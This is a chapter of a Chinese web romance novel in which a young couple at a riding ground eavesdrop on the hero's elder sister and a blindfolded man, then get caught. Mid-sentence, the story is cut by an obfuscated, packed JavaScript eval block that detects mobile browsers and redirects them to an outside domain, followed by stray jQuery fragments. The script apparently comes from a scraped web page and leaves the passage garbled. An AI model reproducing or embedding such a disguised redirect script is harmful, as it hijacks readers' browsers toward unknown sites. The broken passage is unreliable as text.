17. 豪门八卦

作品:《兔子小姐究竟为何这样?

    学骑马的第一步就是要选一匹和自己脾气相合的马,文茵跟着顾锦庚选马。


    文茵心不在焉地抚过一匹栗色马驹的鬃毛,敷衍地应着马场工作人员的介绍,她的目光很警觉,不断扫视着马场四周,直到余光瞥见两道熟悉的身影。


    不远处的训练场,顾留馨正为林筱雨牵着马缰。


    林筱雨背脊挺直,脖颈如天鹅般矜贵,发髻盘起,纹丝不乱;顾留馨的中长发束起,被风吹得恣意飞扬,发带尾梢扫过肩头,与林筱雨的端庄形成鲜明对比。


    两人一静一动,在阳光下像一幅盖亚之地文艺复兴时期的双人肖像画,连马蹄扬起的尘埃都成了镀金的点缀。


    文茵猛地拽住顾锦庚的手臂,“你快看!那不是三姐嘛?!她为什么和林小姐在一起?”


    她压低声音,眼里闪着兴奋的光,“难道你之前说的联姻是真的?三姐这是……爱而不得?现在终于有机会,要重拳出击?!”


    顾锦庚顺着她手指的方向回头,眉头微蹙,“三姐怎么会在这儿?”


    “别装傻!”文茵凑近他,指尖戳了戳他的手臂,“豪门秘辛、姐弟争婚、虐恋情深!我要听详细版!”


    八卦之心熊熊燃烧!


    顾锦庚被她灼灼的目光逼得后退半步,无奈地用手指点在文茵的额间,“我和林小姐只见过一面,婚约是母亲定的,但你出现后,这事就作废了。”


    他瞥了眼远处的两人,语气微妙,“至于三姐和她……我确实不清楚,刚刚我说得那些,也只是为了解决麻烦乱说的。”


    文茵瞬间垮下脸,“啧,白激动了。”她甩开顾锦庚的手臂,撇嘴嘟囔道:“你们顾家的八卦怎么像掺了水的酒,闻着烈,尝起来寡淡。”


    “茵茵你喜欢喝酒?”顾锦庚捕捉到关键词。


    文茵忍不住翻了个白眼,“哥哥!这是重点嘛?!”


    顾锦庚愣住,耳边还回荡着那声软软的“哥哥”,脸微微发红。


    他和茵茵同年同月同日同时同秒出生,甚至在同一家医院的相邻保温箱里躺过,他心里偷偷纠结过是叫茵茵姐姐,还是让茵茵叫自己哥哥。


    此刻顾锦庚的嘴角不受控制地上扬,胸腔里像塞进了一颗跳跳糖,噼里啪啦地炸开甜意。


    顾锦庚无奈地揉了揉文茵的头,“不是你说要学骑马吗?我一直陪着你,结果你连缰绳都没摸过,注意力还都在别人身上。”


    “你吃醋了啊?”文茵下意识接话,眼睛却仍往他身后瞟。


    “是。”顾锦庚突然扣住她手腕,声音沉了下去,“现在,要么看着我的眼睛继续说谎,要么告诉我你到底在找什么。”


    文茵不经意偏头,穿过顾锦庚看向他身后走道,又看见一个眼熟的人,她一眼就认出来这人是谁,是顾锦庚的二姐顾慧敏。


    顾慧敏的短发像被刀削过般利落,狭长的眼裂微微上挑,睫毛短硬,那对眉毛浓密得近乎跋扈,眉峰处一道断痕斜劈而下,仿佛连骨相里都带着煞气。


    若不说破,任谁都会把她错认成顾锦庚的兄长。


    此刻,她正眯眼盯着前方的人影。


    明明是高温的大太阳日,那人一身黑色长袖衬衫黑色长裤,格外突兀,唯有后颈一段苍白的皮肤刺目地浮出来,像宣纸上洇开的墨痕间突然漏了笔,长发被皮筋草草束起,随着步伐在腰际轻晃,骨架纤细得近乎嶙峋,妥妥一病态美人。


    顾锦庚盯着文茵的侧脸,眉头越皱越紧,她的目光又一次越过自己,飘向远处。


    他指尖轻轻敲了敲她的掌心,“茵茵,这匹马再温顺,被你这么心不在焉地遛,也该闹脾气了。”


    “嗯?”文茵回神,睫毛颤了颤,“你刚才说什么?”


    顾锦庚叹了口气,“你连敷衍我都懒得编理由了?”他攥住她的手腕,“从进门起,你走神了一共十七次。”


    文茵瞥见二姐和黑衣美人正朝树林走去,她反手扣住顾锦庚的手指,“回头跟你解释!”拽着他就跟了上去。


    “等等,你这是——”


    “嘘!”她突然将他拉进树影里,指尖抵在他唇上。


    顾锦庚呼吸一滞,他顺着她的视线看去,瞳孔骤缩,“二姐也在这里?等等,徐墨羽也在,今天怎么这么巧?”


    顾慧敏正和徐墨羽低声交谈,两人衣着随意,显然不是为骑马而来。


    文茵眼睛亮得惊人,“想不想玩个刺激的?”她凑近顾锦庚耳边,吐息拂过他颈侧,“跟踪游戏。”


    顾锦庚喉结滚动,“你知不知道被发现的话——”


    二姐真的会揍人的。


    “怕了?”她挑眉,指尖在他掌心画了个圈,“你不是想知道我在找什么吗?”


    他一把扣住她作乱的手,“好吧,我陪你玩。”


    文茵拽着顾锦庚的衣摆,悄无声息地蹭到休息亭边缘。


    二姐和那黑衣美人就站在亭外几步远的树下,两人毫不在意路人,可文茵却连呼吸都屏住了。


    那“美人”的嗓音低沉冷冽,分明是个男人。


    她偷偷抬起手腕,借着手环的摄影面板窥视身后:黑绸眼罩覆住那人双目,却衬得下半张脸愈发苍白,唇角似笑非笑地勾着。


    让文茵都看呆了。


    “徐部长。”顾慧敏的手指摩挲着树皮,簌簌落下几片细叶,“野鸟活该死在风里,家鸟活该死在笼里……可偏偏家鸟想扑进风暴,野鸟却惦记着归巢。”


    她歪头询问眼前的人,“你说,这算不算笑话?”


    徐墨羽的背影骤然僵住。


    他转身时,文茵看见他指节捏得发青,“顾慧敏,你阴魂不散的本事,倒是比你的烂比喻厉害不少。”


    “哎呀,被嫌弃了。”顾慧敏摊手,嗓音却带着笑,“你们搞出来一堆烂摊子,要不是我一直在给你们擦的屁股,你现在还能在这里嫌弃我?”


    “我又没有要你帮我做这些。”徐墨羽皱眉,满脸不耐烦。


    她逼近一步,落地的细叶在两人之间碎裂,“你究竟在害怕什么?我真的好奇你为什么要对他们这么忠心耿耿,你想要的东西我也可以给,我翻倍给你。”


    “不需要。”


    “别这么绝情嘛,我不需要报酬。”顾慧敏的指尖掠过徐墨羽的衣领,后者猛地后撤,她上下打量眼前的人,不知道思考了什么,改口道:“不行,报酬还是要收的。”


    徐墨羽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928453|176187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸色骤变,脸色更加难看,几乎是仓皇退开,“我不用你管,我不想看见你,你别再跟着我了。”


    顾慧敏站在原地,没有追上去,低头碾碎掌心落叶,“跑什么?你反正本来也看不见我啊。”


    最后半句消散在风里,轻得像一声叹息。


    磕到了,磕到了!文茵死死捂住嘴,指尖因兴奋微微发抖。


    她一把攥住顾锦庚的手腕,压低的声音里带着压抑不住的雀跃,“看出来了没?!三姐看徐部长的眼神,她绝对在追他!”


    她可是在出任务时听过上百部有声剧的人!那句“你本来也看不见我”,分明是一语双关。


    明指眼睛受损无法视物,暗指爱而不得——我为你做了这么多,你的眼里却还是看不见我。


    这妥妥的虐恋台词模板啊!


    顾锦庚却突然绷直了脊背,目光锐利地转向身后。


    “你从哪儿得出的结论?”他皱眉。


    二姐和徐墨羽?他对家人的关注的确不多,和文茵的这趟出行,的确了解到不少有用的东西。


    文茵顺着他的视线回头,血液瞬间凝固——顾慧敏正抱臂倚在亭柱边,红唇勾着似笑非笑的弧度,指尖有一搭没一搭地敲着手肘。


    “二、二姐好!”文茵一个激灵站直,活像被揪住后颈的兔子。


    顾慧敏慢悠悠绕进亭子,在两人对面落座翘起二郎腿,手中匕首寒光一闪。


    “偷听还带实时解说。”她托腮轻笑,把玩手中的匕首,“小兔子,我这出戏,值几分啊?”


    文茵疯狂摇头,总有一种错觉那把匕首已经在剥她的兔皮,鞋尖偷偷碾顾锦庚的脚背。


    死萝卜!快救场啊!


    顾锦庚握住她冷汗涔涔的手,在心中叹了口气,这会知道害怕了?


    “二姐,只是巧合。”他语气平静,“茵茵只是好奇徐墨羽为什么带着眼罩也能看见东西,本来是想和二姐你们打个招呼,但看见你们一直在谈事情,我才带着茵茵一直跟着你们的。”


    文茵这才想起:对啊,那人明明蒙着眼,怎么精准避开所有障碍,畅通无阻行走的?!


    空气凝滞半晌。


    “是吗?”顾慧敏冷笑。


    “是的。”顾锦庚面不改色。


    文茵担忧地拉着顾锦庚,二姐好像生气了。


    良久,顾慧敏周身冷意消散,抬手揉了揉眉心,“抱歉,吓到你了。”


    她嗓音里有一丝疲惫。


    “是我该道歉!”文茵慌忙鞠躬,抬头时却捕捉到二姐眼底转瞬即逝的黯然,像夜风里倏忽熄灭的烛火。


    顾慧敏已恢复戏谑神情,指尖点了点顾锦庚,“答案让老四告诉你,不过……”她倾身逼近文茵耳畔,呵气如兰,“小心点,他瞒你的事……可比我的秘密多多了。”


    顾锦庚拽过文茵,将人护在怀里,眼底翻涌阴霾。


    “二姐。”他冷笑,“自己棋差一着,就别搅别人的局,莫非是吃不到葡萄说葡萄酸?”


    顾慧敏怔了怔,突然放声大笑。


    “大哥说得对——”她抹去笑出的泪花,“你现在可是凶得很,瞧瞧这护食的劲儿……果然惹不得。”